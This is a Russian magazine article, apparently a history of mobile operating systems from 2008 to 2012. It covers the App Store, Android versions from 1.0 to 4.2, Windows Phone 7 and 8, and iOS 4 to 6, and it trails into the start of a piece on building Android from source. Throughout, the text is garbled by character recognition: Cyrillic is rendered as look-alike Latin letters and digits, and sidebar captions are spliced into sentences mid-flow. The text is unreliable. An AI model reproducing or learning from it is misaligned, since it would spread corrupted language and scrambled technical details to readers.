OpaHHas NonMTVKa pacnpoCcTpaHeHus Npuioxe-
HU TONIbKO Yepe3 opuLnanbHbI MarasuH App
Store: Kax/0e 3arpyeHHoe B Hero TBopeHue
nposepsnock cotpyaHukamm Apple Ha Kave-
CTBO 1 OTCYTCTBWE BPEAOHOCHOrO NOBELEHNUS.
Mo>HO0 BbIN0 KYNUTb U yCTaHOBUTL Jtoboi codT
3a HECKOJIbKO TaroB Mo 3KpaHy, Mcnosib3ys
opuuManbHbI KNeHT App Store, y3HaTb peit-
TUHTU NPUIOXKEHWNI U NOCMOTPETH CKPUHLLIOTbI
nepep nokynkoi. He aBnascb n3obpetatenem
OHNaH-MarasnHa NpUI0XKEHN Kak TakoBoro,
Apple dakTnyecku cTana nponaraHancTom 3Ton
“Aeu, NoJIHOCTbIO 3aMpeTUB NoJib30BaTeN M
yCTaHaBAMBaTh COPT U3 APYrUX UCTOYHNKOB U,
no cyTu, popcrpoBaB M3MEHEHWE B MbILUEHNN
nonb3oBaTenein.

CToWT OTMETUTbL NpU 3TOM, YTO, HECMOTPSA
Ha 3akoH4yeHHocTb iPhone 0S kak cepbesHoit

onepaLyoHHON CUCTEMBI, B TO BPEMS B HEN
bakTuyecku He bbino MHorosagayHocTy. C uenbto
COXPaHMTb NIAaBHOCTb paboThl U «0T3bIBYM-
BocTb» OC, nporpammucTbl Apple octaBunu
BO3MOXHOCTb paboTbl B pOHE TONIbKO CTOKOBbIM
NpUNoXeHWaM, npefyctaHosneHHbimM B OC, Toraa
KakK CTOpoHHUI codT ybuBancs cpasy nocne
nepekJsilYeHus Ha Lpyryto 3agavy. M xotb Takoi
noaxof u otaasan DOS'aTUHOM, OH NpuHec cBow
nnofbl Ha NepBbix 3Tanax cywectsosanns OC,
Korga npousBoauTesbHocTb iPhone Gbina cuibHo
OrpaHuny4yeHHow.

BTopoe BaxHoe 1, HaBepHoe, elle bonee
3HaunMoe cobuiTve 2008 roga — ato dakTuye-
CKU NepBoe POXAEHNE ONepaLoHHO CUCTEMBI
Android, cocTosiBweecs 23 ceHTs6ps BMecTe
¢ BbinyckoM Android SDK 1.0, koTopbiii BKto-
4an B cebs y)Ke NoYTH roTOBYIO, HO BCE TaK Xe
OTAAMLLYI0 HeL0paboTaHHOCTbIO ONepaLoHHY
cucTemy.

MepBblii CEpUIiHbIA CMapTGOH Ha 3Tol
0C nosiBuncs yxe Yepes Mecsiy 1 bbin paspabo-
TaH koMnaHnueit HTC cneymnansHo gns Google.
WmMs oH nonyuun geoitHoe: HTC Dream unum
xe T-Mobile G1. Tonbko ¢ BbINYCKOM 3TOr0
LieBaiica cTana 04eBWAHA HACTOALLASA U3IOMUH-
ka Android‘a kak onepawLWoHHO’ CUCTEMBI,
npespaLyaLleit cMapTOH B HEKWUI TEPMUHAN
A5 gocTtyna Kk cepsucam Google. leno B Tom,
470 Android He TonbKO BKJto4an B cebs MHO-
KECTBO KJIMEHTCKMX MPUNOXKEHNI K CEpBUCAM
nouckoBuKa (nouck, noyta, KaneHaapb, KapTol,
yaT u YouTube), HO M N03BONSN CAMHKOBATL
noJib30BaTeNs CO BCEMW 3TUMU CEpBUCAMU efU-
HOX/bl, BBEAIS CBOM JIOTUH 1 Naposib OT NOYTHI.
Mocne aToro Ha cMapTOH HaYMHaNM CbiNaTbCs
C0006LLEHNS, NPULLEALINE N0 IJEKTPOHHON NoYyTe
1 B YaTe, yBeJOMIEHNS U3 KaNeHAaps, a Bce
KOHTaKTbl aBTOMATUYECKM CUHXPOHU3UPOBANUCh
c Google. ToT e NOrvH 1 Naposb NCnosb3oBa-
ANCh ANS AOCTYNa K MarasuHy NpunoxeHun,
KOTOPbI yXKe BKJoYan B cebsi MHOXeCTBO Co-
GTUH, pa3paboTaHHbIX B TeYEHNe roAa C MOMeHTa
Bbinycka beta-sepcuu Android SDK.
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2009: IPHONE 0S 3.0
/I ANDROID 1.1-2.1
2009-# MoXHO No NpaBy cYMTaTh FOAOM pacLBeTa
Android’'a kak MobunbHow OC. MpounssoguTenu
MOOUNBHOM TEXHWMKM Havanu NpucMaTpuBaThes

K Android'y u aHOHCMpOBaTbL CBOM NepBble YCTPOW-
CTBa Ha ero ocHoBe, Google npofonxana cnewHo
nopabaTeiBaTth OC, 3anaTbiBasi MHOXKECTBEHHbIE
npobenbl B ee fu3aiiHe 1 QYHKLMOHANBHOCTU.

9 beBpans NOMCKOBBIV FUraHT BbiNyckaeT
nepeoe 00HOBMIEHME ONepPaLVOHHOR cUCTEMBI
nof uHaekcom 1.1, KoTopoe He MpPUHEC0 0CobbIX
HOBLUECTB ¥ ObI10 BbINYLLEHO AN 3aKPbITUS
HanpeHHbIx 6aros u npobnem B API. B koHue
anpens KOMMNaHWa BbIJIOXKMA YXKe MOHOLeHHOoe
obHoBnenune Android 1.5, nonyynswee opuym-
anbHoe uMsi Cupcake. 3Ta Bepcus BkoYana
B CebHs MHOXECTBO BaXKHbIX U3MEHEHWI, TaKnNX
KaK HasKpaHHas KnaBuaTypa, BUAXeTbl paboyero
CT0J1a, BO3MOXHOCTb CbEMKM BUAEO, NOAAEPXKKA
Bluetooth-rapHuTtyp, aBTomaTuyeckoe nepesopa-
4MBaHMe 3KpaHa, a TakXKe MHOXKECTBO [PYTUX.

Cnyctsa nonroga, 15 ceHtsbps, Google aHoH-
cupoBana Android 1.6 Donut, koTopas BK/toYana
B cebsi MHOXeCTBO 0paboTOoK, ABMKOK CUHTE3a
peyu, a TakxKe, YT0 0YeHb BaXHO, NoAAepxKy 6o-
nee Bbicokux, Yem 320 Ha 480, pa3pelueHnin akpa-
Ha W UHTErpupoBaHHYio GYHKLMI0 MOATOHKM Npu-
N0XKEeHWUN K pa3HbiM paspelueHusm. [locneaHss
no3sosinna 6e3 kakux-nunbo npobnem 3anyckatb
MPUIOKEHNS Ha Pa3HbIX YCTPONCTBaX Aaxe B TOM
cnyyae, ecnn pa3paboTyuk He npeaycMoTpen
noAAepXKy pasHbix paspeluernin 3kpaHos (rpy6o
roBops, KapTMHKa NPoCTo MaclTabuposanach).

Bcero yepes mecsy Google Bbinyckaet
Android 2.0 Eclair, koTopyto MOXHO Ha3BaTb Mo-
cnefjHell Ha 3Tane nepexofa K feicTBUTENIbHO
cTabunbHoO U NONHOPYHKLMOHANBHON one-
pauuoHHoi cucTeMe. Eclair BkitouaeT B cebs
MHOXeCTBO f,opaboTok, Taknx Kak nofaepxka
MHoXecTBa Google-akkayHToB, Bluetooth 2.1,
HOBYI0 HadKpaHHylo KnaBuaTypy, nepepabotan-
HbI MHTEPGENC, @ TaKXKe MHOXECTBO YNyYLIEHN
B CTOKOBbIX MPUII0XKEHNSIX, Hanpumep SMS, 6pa-
y3ep 1 Kamepa, KoTopas HaKoHeL-To noJiy4una
noLAepXKy pasnnyHbix 3G dekToB, LMdpoBoW
3yM 1 Makpodokyc.

lop 2009-1 — 370 TakXXe rof Bbinycka nepsbix
MoZenell cMapTHOHOB NOA yNpaBsIeHNEM HOBOM
0C. JInpepoM Ha 3TOM pbiHKe CTaHOBUTCS Tail-
BaHbckasa HTC, BbinycTuBLIan cpasy Tpu HoBbIe
mogenu cMaptdoros: HTC Magic, bonee npogsu-
HyTbIn HTC Hero u biogxeTHbn HTC Tattoo. Mo3-
)Ke B Urpy BCTynaeT KuTaiickuin Huawei ¢ brog-
XKeTHbIM cMapTdoHoM Pulse n Samsung c nepBbIM
L,eBalicoM NereHfjapHoii nnHeiiku Galaxy,

a Takxe 6lo)xeTHoN «cnuuei» (Spica). OgHako
HacToALWMA Gypop NPoN3BOANT BHE3AMHO BbI-
WwepLlas 13 TeHn komnakus Motorola co cBouM —
CTaBLIMM BNOCNEACTBUN KYNbTOBbIM — TOMOBbIM
cmapTdoHoM Motorola Droid, ocHaleHHbIM
MoTPSCAoLWMM N0 TeM BpeMeHaM 3,7-410AMOBbIM
JKpaHoM c paspelueHnem 480 x 854 nukcenen,
BbICOKOMPOM3BOAUTENbHBIM MPOLLECCOPOM
OMAP3430, 512 M6 onepaTuBHoit namaTu u pabo-
TalLWMM NoA ynpaBneHnemM ceexanwen Android
2.0. UmeHHo bnaropaps Android’y Motorola cmor-
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N1a BOPBATbCS Ha, Ka3anoch Obl, y)e ynyLweHHbIA
PbIHOK CMapTGOHOB U BMOCIEACTBIUM KPEMKO
yAepXnBaTb CBOW NO3NLUN.

Yro kacaetcs iPhone OS, To 3gech Apple
npuaepXxuBaeTcs NpexHero Kypca nocre-
MeHHbIX eXerofHbIX MogepHu3aunit. 17 nions
Ctue [ixobc npepctasnset nybnuke iPhone
3GS, 0CHalLeHHbIN YAyYLEHHbIM fUCTIEEM,
6onee NpOM3BOANTENBHBIM NPOLECCOPOM
Samsung S5PC100, paboTatownM Ha YacToTe
600 MTu (BMecTo wWTaTHbIX 833), rpadnueckum
3D-yckoputenem PowerVR SGX535, BaBoe
yBeWYeHHbIM 06beMOM 0nepaTUBHO NaMaTK
(256 M6 B3ameH 128 M6), uMdpoBbIM KOMNAcoOM
v BULeokamepoii Ha 3 Mn (BMecTo 2 Mn B iPhone
3G). Kak 1 nonoxeHo, TpeTba Bepcua cMapTho-
Ha paboTaeT nog ynpasneHuem iPhone 0S 3.0,
BKJloYatolle B cebd 6onee cTa HOBOBBEAEHUN,
Cpeam KoTopbiX GYHKLMUS KONWPOBaHWUS 1 BCTaB-
K1, noafepxka MMS, nouck no Bcemy cMapT-
doHy Spotlight, a Takxe GyHKLWUM yAaneHHOrO
Banna u noucka cMapTdoHa.

2010: WINDOWS PHONE 7, ANDROID
2.2-2.3,10S 4.0
2010 rop, 6bin, HaBepHOe, CaMbIM HACbILLEHHbIM
B UCTOPUN MOBMIIbHOM TeXHWKU. OQHUM U3 Haun-
Honee 3HaYNMbIX CODBLITWIA CTaN aHOHC onepa-
umoHHoi cuctemsl Windows Phone 7, paboTa
Hapj KoTopo# Havanack B 2008 roay. OC bbina
npesactaBneHa 15 despans Ha BoicTaBke Mobile
World Congress u cpa3sy npusnekna k cebe
Bceobllee BHMMaHWe bnarofaps coBepLieHHO
HOBOMY, HeODbIYHOMY 1 HEBEPOSTHO 3GPEKTHOMY
nHTepdeiicy Metro.

Metro Bbirnsgen cTuAbHO, MUHUMaNW-
CTUYHO U NPU 3TOM BbIBOAMN ONbIT 06LEHNS
¢ OC 1 npnnoXeHUSIMU Ha COBEPLLIEHHO UHOW
YPOBEHb, @ €C/IN TOYHEE — BO3BpaLLa Nosb-
30BaTeNs K NPUBbIYHBIM MOAEN M B3aUMOLEN-
CTBUA C OKPYXKatoLel Cpefjoit, K KOTOPbIM Mbl
MPUBLIKAYN B 00bIAEHHOM XU3HU. VIHTepdeiic

¢ HaumHas c yeTBepTOif
Bepcuu, iPhone 0S Havana
HOCUTb UMA i0S, M KOMNaHUK
Apple npuwnocb nuuex-
3MpoBaTh HOBOE Ha3BaHUe

y Cisco, KoTopas Bnagena
npaBaMu Ha TOProBYH MapKy
10S — 0C, paboTatowei

B MaplipyTusaTtopax.

¢ Ewe B 2007 rogy HTC co3-
npana ans Google onbITHLI
obpasey cMapTdoHa Google
Sooner ¢ NONHOLEHHOW
QWERTY-knasuatypon nop,
3KPaHOM, 0iHaKo cMapTHoH
TaK 1 He 6bin BbINYLWEH

Ha pPbIHOK.

* Bmecte c Android Google
€03/,ana anbAHC NPons-
BoauTenei MobunbHoM
TexHukun OHA (Open Handset
Alliance), B KOTOpbIN cerogHs
BXOAWT OKOJI0 NATUAECATH
KoMnaHui, cpepm Hux HTC,
Motorola, Intel, LG, NVIDIA,
Samsung 1 MHOTWe apyrue.

0AHOBPEMEHHO coyeTas B cebe BCe OCHOBHbIE
rpapuyeckue cocTaBnsioLNEe COBPEMEHHOTO
bonblioro ropoda, Takhe Kak MHGOpPMaLMOHHbIE
Tabno, NyTEBOAUTENU W FNSHUEBbIE XYpHabl,
4TO AeNano ero UHTYMTUBHO MOHATHBIM U NPO-
CTbIM B UCMO/b30BaHNU.

MHTepecHo, 4To, HECMOTPS Ha COBEPLUEHHO
HOBbI MHTepdeiic n APl nporpaMMupoBaHnus,
KoTOpbIN flenan Bce HanucaHHble ansa Windows
Mobile npnnoxeHns HeCOBMeCTUMbIMU C HOBOW
0C, BHyTpu Windows Phone npogonxana octa-
BaTbcs Bce Tovi xe Windows CE c ycTapeBLimnm
S4POM, OCHOBaHHbIM Ha TexHonorusx Windows
95. ns pa3paboTku xe NpUIoKeHNA 1 urp
Microsoft npegnoxuna ncnonbaosathb cneLu-
anbHyto Bepcuto Silverlight n dpeiimBopk XNA,
TakXKe UCNoNb3yeMblil B MynbTUMeAnanneepe
Zune n npuctaBke Xbox 360. TeM He MeHee,

Kak u B ciiyyae ¢ i0S, MHoro3afa4HocTb onepa-
LIMOHHOM cuCTeMbl bbiNa ypesaHa, Tak 4To npo-
rpaMMUCT He MOT pacCynTbIBaTb Ha pOHOBOE
MCMOJTHEHWE MPUIOXKEHNS, HO MOT UCMONb30BATh
API nns BbINOAHEHUS HEKOTOPbLIX TUMOB GOHOBbIX
3a[,ay, TaKMX KaK noslyyeHne noyTbl Uam 06HoB-
neHue faHHbix 13 Cetu.

11 okTA6pSH MCNONHNUTENbHbI fUPEKTOp
Microsoft Ctue bannmep aHoHcupoBan gecatb

Tak BeIrnsnen
O/WH U3 NepBbIX
npoToTMnoB
cMapTdoHa Ha
Android
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ycTponcTs nog ynpasneHvem Windows Phone
7 oT Takux npounssoanTenent, kak HTC, Dell,
Samsung 1 LG. YcTpoicTBa cpasy xe Obinu Bbi-
NyLeHbl Ha PbIHOK.

2010-1 Takxe cTan roLoM o4yepesHoro
TexHonornyeckoro Tpuymda komnaHuu Apple,
KoTOpasi NpefcTaBuia MUpY Cpasy TPM 3HAYMMBbIX
NpoAyKTa: HOBbIN, feiCTBUTENIbBHO MOAEPHU3U-
poBaHHbIi iPhone 4, nnaHweT iPad n onepauym-
OHHYyto cucTeMy i0S 4.0, B KOTOPOI HaKoHeL-TO
nosiBUNach MHOr03afa4HoCTb.

LleHTpanbHoe cobbiTve BO BCeM 3TOM Lenoy-
Ke, KOHEYHO e, CBA3aHo c iPad — nnaHWeTHbIM
KoMnbtoTepoM, 0 koTopoM CTus [Ixobc rosopun
eule B fanekom 1983 roay, npefpekas Bbinyck
«MOLLHOTrO KOMMbloTEpa C pa3MepaMun KHUTH,

Ha obyyeHune NCMONb30BaHMIO KOTOPOro NoTpe-
byeTcs He bonblie fBagLaTV MUHYT». C TeXHU-
4eCKOMN TOYKM 3peHUs PeBOJTIOL UM He Npou3o-
o v B 3707 pas. Mo cyTn, 310 HbIN BCErO NNLWB
bonbwow iPhone c akpaHom 9,7 atoiimMa, npouec-
copoM Ha 1Ty v ocoboit Mogudukauuneit iPhone
0S 3.2, KoTopas NoYTu He 0TIMYANAch 0T BEPCUM
Ans cMapTGoHa U No3BOJISNA UCMONb30BaTh BCE
Te Xe npunoxenns. OgHako bnarofaps kave-
CTBY McnofiHeHus Apple BHOBb yAanoch 0TKpbITh
COBEpLUEHHO HOBbIW PbIHOK.

iPad bbin NpefcTaBieH B anpese, Ho yxe
B WiOHe, cnefys cBoei Tpaguumu, Apple aHoH-
cuposana iPhone 4, rnaBHbiMK 0cobeHHOCTAMU
KOTOpOro cTanu akpaH paspelennem 960 x 640
nuKcenel, BABOE YBEINYEHHbIN 00bEM onepa-
TUBHOM namaTu (512 M6) n ppoHTanbHas kamepa
nna Buaeo3soHkoB Ha 0,3 Mn. BMecTe ¢ HOBbIM
iPhone bbina npepctasnera iOS 4.0, koTopas
ctana nepsoi OC, HeCOBMeCTUMOW C HEKOTOPbIMK
npenblAYyLLMN BEPCUAMMU CMapTGOHa U [OCTYnN-
HoW Ans HoBOro Tuna fgesaiica — iPad.

MnasHoM n3toMuHkon i0S 4.0 cTana bonee

nosiHad, HO NPX 3TOM HeNnoJIHOLeHHada MHOT 0~
3afa4HocTb. OTHbIHE CTOPOHHWE NPUNOoXeHUA
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Mornu paboTaTb B poHe, 0AHAKO UX BO3MOXK-
HOCTU BbINW orpaHnyeHbl HabopoM «PoHOBBIX
API», npyMepHo TaK e, Kak 3T0 peann3oBaHo
B Windows Phone. MpunoxeHus Morav npo-
UrpbIBaTb My3bIKY, ONpeAeNiTh MECTONONO-
XKEHWE YyCTPOICTBA, BbIBOAUTbL YBEAOMIIEHNS,
3anpalmsaTb AONOSHUTENIbHOE BPEMS 414 Bbl-
NONHEHNS He3aKOHYEHHOM 3a[1a4u, HO He Morn
«npocTo paboTaTb» B GOHE, KaK 3TO MPOUCXOANT
B HaCTOJIbHbIX OMEPaLMOHHbIX CUCTEMAX UK
0C Android.

[ ns skocuctembl Android‘a 2010 rog okasan-
cAl He MeHee 3Ha4yuMbIM. VIMeHHo 3TOT rof cTan
HacToswmmM bymMoM Bbinycka Android-ycTpoiicTs
NPaKTUYeCKN BCEMU CKOJIbKO-HMOY b 3HAYUMBbI-
MU UrpoKaMu MobunbHoro poiHka. K OC Havanu
Cepbe3HO NpUcMaTpuBaThCs paspaboTynkm, Tak
4TO K cepefimHe rofa B Android Market MoxHo
Obino HanTu yxxe 100 ThicAY NPUNOXKEHWI, @ KOHLY
rofia vx KonumyecTso Bbipocso Ao 400 Teicay.

B aToM xe rofy npon3soLwno Ba cepbe3Hbix 06-
Hoenenus OC, bnarogaps koTopbiM Android yxe
MOXHO 6biN10 Ha3BaTb 3akoH4YeHHoMN OC.

B mae 6bina npefctasnera sepcus Android
2.2 Froyo, rnaBHoi 0co6eHHOCTbIO KOTOPOWA CTa-
N0 yAyyLIeHe NponM3BoAnTeNnbHocT bnarogaps
BKJIl0YeHMio JIT-KOMNUAALKMM B BUPTYasbHON
mawwuHe Dalvik, nnterpaunu JS-gerxka V8
B CTaHAAPTHbIV 6pay3ep, a TakKe MHOXEeCTBEH-
Hble ONTUMKU3aLKUM KoAa. B aTol xe Bepcun
nosiBWNach AONrOXKAaHHaA BO3MOXHOCTb pa3ja-
BaTb MHTepHeT ¢ noMoubio Wi-Fi (Wi-Fi hotspot),
a Tak)Ke HOBbI [JOMaLLIHWIA 3KpaH, B KOTOPOM
HaKoHeL-To nosBuscs Lok, Ha MaHep i0S. Yepes
nonropa yesupaena ceet Bepcus Android 2.3
Gingerbread, B KoTOPOI MOXHO bbI10 OTMETUTB
nepsble warv Google no MofepHU3aLum nHTep-
dbelica n npuseeHuto ero k bonee npuemMnemMomy
BULY, @ Takxe Takune dyHkuuu, kak SIP VolP,
ynydleHus B 3HepronotpebneHnu v noafepxky
yunos NFC.

UsnuwHee
BHUMaHue

K petanam

He Bcerpa
YMECTHO —

Kak bbl roBopsT
nusaiiHepbl Apple
CBOWM KOPENCKUM
Konneram

Nexus 7 — nepBasi no-HacTosLeMy yAa4yHas NonbITka

Google BbIiTH Ha NNAHLIETHbIW PbIHOK

2011: ANDROID 3.0-4.0,
WINDOWS PHONE 7.5 1 10S 5.0
2011-# cTan nepBbIM FrOA0OM B UCTOPWU TOHKM
BOOPYXEHMWI1», KOTOPbIN He NPEMnofHec Kakux-

TO clopnpu3oB B 0611acTn MobunbHeix OC. Apple
CMOKONHO M HEBO3MYTWUMO NPOAOJIKAET BbIMY-
cKaTb HOBble BEpPCUM CMapTHOHOB, NaHLWETOB

1 nnaHoMepHo obHoBNATL I0S. Microsoft 3aknio-
yaeT KOHTpakKT ¢ Nokia 1 BbinyckaeT MUHOpHOE
o6HosseHne Windows Phone 7.5 Mango. Google
BbinyckaeT Android 3.0 Honeycomb — peiicTBu-
TeNbHO MaxopHoe obHoeneHne OC, koTopoe TeMm
He MeHee He CO3JaeT pe30HaHCa U3-3a OpPUeHTH-
POBaHHOCTM TOJIbKO Ha NNaHLWeTbl U 3aKPbITOro
MCXOLHOrO KOfla, Cepbe3HO OrpaHnymBLLEro
pacnpoctpaHenue OC.

Android 3.0 6bina npefcTaBneHa 22 dpespans
BMecTe ¢ nnaHweToM Motorola Xoom v sBnana
coboi ckopee He 3akoHuYeHHYyto OC, a monbITKy
Google BTOPrHYTbCS Ha PbIHOK NJaHLLIETOB, 3a-
HOBO OTKpbITbIN Apple. TpeTbs Bepcus OC He no-
Jly4Ynna LWWPOKOro pacnpocTpaHeHns, 0 HaKo
cpaboTana Ha OTANYHO B KayecTBe AeMOHCTpa-
LMK TOro, Kakumu byayT cnepyoLle Bepcum
Android'a. OnepaymnoHHas cuctema boina cepbes-
HO NepepaboTaHa, B TOM YMC/e B NNaHe MHTep-
delica nonb3oBaTesns, KOTOPbIA HAKOHEL, MOyYnn
CBOW CODCTBEHHbIV 3aMOMUHAOLWNIACA U HEBe-
POSTHO 3QPEKTHBIN MUHUMANNCTUYHbINA CTUITb,
HassaHHbI Holo (o1 holographic — ronorpadu-
yeckuit). UHTepdeiic He ToNbKo CTas NpUATHBIM
AN TNa3a, HO W MOAYYMN Tak JaBHO 0XUAaEMYio
naaBHOCTb paboTsl 6narogaps 3afedcTBOBaHMIO
rpaduyeckoro npoueccopa. MHorue apyrue noj-
cuctembl OC Takke bbinn nepepabotansl, a obuue
TpeboBaHMA K XeNle3y Cepbe3Ho NMOBbICUNCH.

B atom xe ropy Google BbinycTuna ewe gBa
cepbe3Hbix 06HoBneHus OC, Bkntoyas Bepcun 3.1
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Windows Mobile — Ha cMapTdoHax Toxe 6bin «yck»

1 3.2, B KOTOpbIX Oblna NpoBefjeHa fanbHelwas
paboTa no yHudmkauun nitepdeiica, onTuMn3a-
LM NPOM3BOAMTENIBHOCTH, MOABUAACH MOA-
nepxka pa3nuynbix USB-yctpoicTs. OgHako nx
MCXOAHBIN KOJ Takxe bbin 3aKpbIT, a paboTa Hag
«TenedoHHbIMW BepCUAMU» CUCTEMbI PaKTHye-
CKU 3aBeplUeHa 10 KOHLa rofia, Koraa bbin npea-
cTasneH Android 4.0 Ice Cream Sandwich.

YeTBepTas Bepcus Android'a ctana vaeiHbiM
npopo/mkeHnemM Honeycomb, Ho OpMeHTPOBaHHBIM
Kak Ha nnaHLweTbl, Tak U Ha cMapTdoHbl. Ice Cream
Sandwich Bkntoyana B cebsi nonHoCTblo nepepabo-
TaHHbIN CTEK NMPUNOXEHWIA, NEPENNCaHHbINA C HyNs
LOMaLLHWUI 3KpaH, pean3oBaHHbIi Mo BCEM NpaBw-
nam Hoeoro Ul Holo, HoBbii wpnéT Roboto, otanuHo
NOAXOAALLNIA AN8 0TobpaXeHUs TeKcTa Ha 3Kpa-
HaX C BbICOKOM MIOTHOCTbIO NKcenen, PyHKLMIO
pa3610KMPOBKHM MO CHUMKY LA (KoTopyto fierko
06MaHyTb, Nokasas TenepoHy poTorpadwio Bna-
zenbual, dyHkuymio Wi-Fi Direct ans npsamoii nepe-
naun daiinos Mex Ay yCTPONCTBaMM, a TakXKe faBHO
oxugaemyio nogaepxky VPN.

MmeHHo Ice Cream Sandwich cagenan Android
He npocTo «anbTepHaTusoit iPhone ans beaHbIx»,
a peasibHbIM KOHKYPEHTOM Ha pblHKe MOOUIIbHbIX
0C. Android 4.0 6bina dyHKLMOHaNbHa, YB00Ha,
KpacwBa, flerka B UCNosib30BaHuUKM 1 obnapana
GYHKLMAMU, KOTOPbIX He BbIIO Y ee KOHKYpeHTa.

B deBpane bbina npeacraBneHa HoBas
Bepcust Windows Phone 7.5 nog KopoBbiM nMeHeM
Mango, B koTopyto bbin MHTerpupoBaH Internet
Explorer 9, o6napatowmnit BceMn BO3MOXHOCTAMU
HaCTONbHOM BEPCUM, paclumpeHa noafepxKa
MHOr03aa4HocTi A9 GOHOBbLIX MPUNOXKEHUN
1 NOSIBUNIACb BO3MOXHOCTb CUHXPOHU3aL UK
¢ Windows Live SkyDrive. [pakTuyecku B 10 Xxe
BpeMs CTus bannmep o06bsBKUA 0 3aKK0YEHNM CO-
rnawexus c komnanven Nokia, no kotopomy no-
cnepHss bynet otaasath npegnoyteHne Windows
Phone npu Beibope MobunbHoi OC. ®akTunyeckn
370 03Hay4ano, 4to Nokia HaunHaeT BbINyck
cMapTdoHoB Tobko Ha Windows co BceMy Bbl-
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Pa6ouynii cton Windows 8 B ctune Metro

TeKaloLWwMmn 0TClofia NOCNeACTBUSIMU, B BULE
CTarHalwu v BbifieTa U3 NATEPKW KPYMHehLmnx
npousBofuTeneit cMapTdpoHoB bnaropaps He-
No6BM Nonb30BaTeNein K «CANLLKOM HeobblYHO»
n HenonynspHoit Windows Phone.

B okTabpe Apple npeactasnnetiOS 5.0, B ko-
TOPON NOSBASETCSH GYHKLMOHANBHOCTb, BNepBble
npepnoxeHHas paspabotuynkamu Android'a,

a umenHo Notification Center, To ecTb 0bnacTsb
yBe0MEeHWUN, LOCTYNHaA MO BbIABUKEHMIO CTa-
TYCHOM CTPOKM BHU3. Takxe HoBasi Bepcus OC no-
nyyaet uHTerpaymio ¢ iCloud, obnayHbiM cepBu-
coM Apple, dyHKLMOHanbHO cxoxum ¢ Dropbox,

v cepBuc iMessage, No3BoNSOLWNIA NepeckinaTh
SMS, ncnonb3ys UHTepHeT-coeANHEHNE.

2012: ANDROID 4.0-4.2,
WINDOWS PHONE 8 110S 6.0
CaMbiM 3Ha4YnMbIM cobbiTuem 2012 ropa ctan,
KoHeyHo xe, Bbinyck Windows 8, ¢ koTopbIM
Microsoft HeOXWAGHHO f/15 MHOrMX BHOBb CO-
BepLuMa cepbe3HbIi pbiBOK BNepef. HecmoTps
Ha TO YTO TEXHWYECKM OnepaLMoHHbIX cucTeM bbino
npeACTaBEHO TPK, BCE OHM Tenepb 0CHOBaHbI
Ha opHon kofoBol baze Windows NT u 6asupytotcs
Ha uHTepdeice Metro (KoTopbIi B HACTOLHOM
BEPCUM MOXKHO OTKAI0UNTL). API Mexay cuctemamu
TakXe Tenepb COBMECTUM, 4TO [leNlaeT NepeHoc
NPUNOXEHN GaKTUYECKM peLleHHON 3aajei,
a nonb30BaTesM NAaHLWeToB, No cyTH, byayT
paboTaTh C HacTosLLel HAaCcTOIbHOW Bepcueit cu-
cTeMbl. 3T0 6bISI0 04eHb KPAaCHOPEYNBO NOKa3aHo
Ha NMpUMepe NpefCcTaBEHHOr0 TOrAa XKe NiaHLWeTa
Windows Surface ¢ oTk/to4aeMoi KiaBuaTypon.
®aktnyeckn Windows 8 — aTo yHuBepcanb-
Has OC onns Nobbix TUNOB YCTPOMCTB C O4HUM
PEeno3nTopMeM NpUIOXKEHWUN, OLHUM UHTepdEeN-
COM, CUCTEMOW OPraHn3aLmn MeHIO N HacTpoexk.
OnepaunoHHas cncTeMa, B KOTOPOI Nosb30Ba-
Tenb byneT paboTath c 0fHWUM codTOM, He3a-
BMCUMO OT fieBaiica, U He NoTepseTCH B HOBOM
nHTepdeiice. ITO UMEHHO TO, K YEMY MbITaNUCh

npuiitu Apple n Google, Ho nepBo¥i npuwna,
Kak Hu CcTpaHHo, Microsoft.

K cnoBy ckasaTb, nporpammuctbl Google Tak-
XK€ He CWAENN Ha MeCTe 1 ycnenun BbiNyCTUTb fiBa
MHKpeMeHTanbHbIx 06HoBneHus OC. B Android 4.1
Jelly Bean nopaboTanu Hag yBennyeHneM npo-
M3BOANTENBHOCTY, NOSIBUNNCH MHTEPAKTUBHbIE
yBEAOMJIEHWS, YMHbI pabounii cTon, KOTOpbIN
Hay4uCsa BbiCTPauMBaTb 3IEMeHThl Ha 3KpaHe
B OTBET Ha NepeTackuWBaHve Apabika Maun BUA-
xeTa. [osiBuncsa Takxe nomowHuk Google Now,
KOTOPbIN MOACKa3blBan pa3finyHble flaHHble, 0C-
HOBbIBasiCb Ha TOM, Y4TO NOJIb30BaTeNb MCKaN He-
naBHo B Google, ero MECTOMOIOXKEHNN W aKTUB-
HocTn B Google+. Bepcus Android 4.2 Jelly Bean
(Ba, MeHHO Tak] NpuHecna BO3MOXHOCTb fenaThb
chepuyeckne poTorpaduu ([aHanornyHeie Google
Street View), B Hell NOSBUANCH [aBHO 0XUaae-
Mble KHOMKW yNpaB/ieHNs NUTaHUEM B NaHenu
yBe[OMMIEHUIA, €AUHBIA MHTepdelic ANa NnaHLwe-
TOB M CMapTOHOB, a TakxKe MHTerpayus SELinux.

Apple, B cBOIO 04epefb, NpefcTaBnIa BMeCTe
ciPhone 5 HoByto Bepcuto i0S ¢ nHpekcom 6.0,
KoTopas, Mo CyTH, He NoJlyyuna cepbesHbix n3me-
HEHWI1, KpoMe MHOXecTBa A0paboTOK BO BCTPO-
€HHbIX MPUNTOXKEHNAX, nHTerpauum ¢ Facebook n
yAaneHus u3 coctaBa NpeaycTaHOBAEHHbIX MPU-
noxennit YouTube v Google Maps (4To cbirpano
c Apple 3nyto WyTKY, Tak Kak HOBble BEKTOPHbIE
KapTbl Apple okasanuch HUKyaa He roHbIMM).

MaTb neT — HeboNbLION CPOK, OAHAKO MUP
MOOMNIbHOW TEXHUKM 3@ 3TOT MEPUOJ, ycnes Kap-
AVMHANbHO N3MEHNTbCA. KaxeTcs HeBepOSATHbIM,
4TO KOTf,a-To Mbl M0SIb30BANNCH CMapTHOHaMK,
KOTOpbIE He YMeN BbINONHATL aBTOMATUYeCKYto
cuHxpoHusauuio ¢ Google, obnaganu Kyyein
KHOMOK M He MMeJIM LLeHTPasM30BaHHOro NCTOY-
HUKa NpWII0XKeHWA. Tenepb BCe 3T0 B MPOLLJIOM,
1 TpyAHO cebe NpefCTaBUTb, KaK U3IMEHUTCSH MUP
3a cnefyolve NaTb neT. 30
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OBLLUME
NMPUHLUMUNDI

CBOPKU ANDROID
U3 UCXOAHDbIX

KoA4OB

Mepecbopka Android 13 ncxofHbIX KOLOB TpebyeTcs 419 MHOTMX 3a-
L,ay. 3To MOXeT bbITb NOTPeBHOCTb B HEAOCTAOLMX MOLYNAX AApa
Linux, koMnunsaums c bonee arpecCUBHbIMU OMNLMAMU ONTUMU3ALLNY,
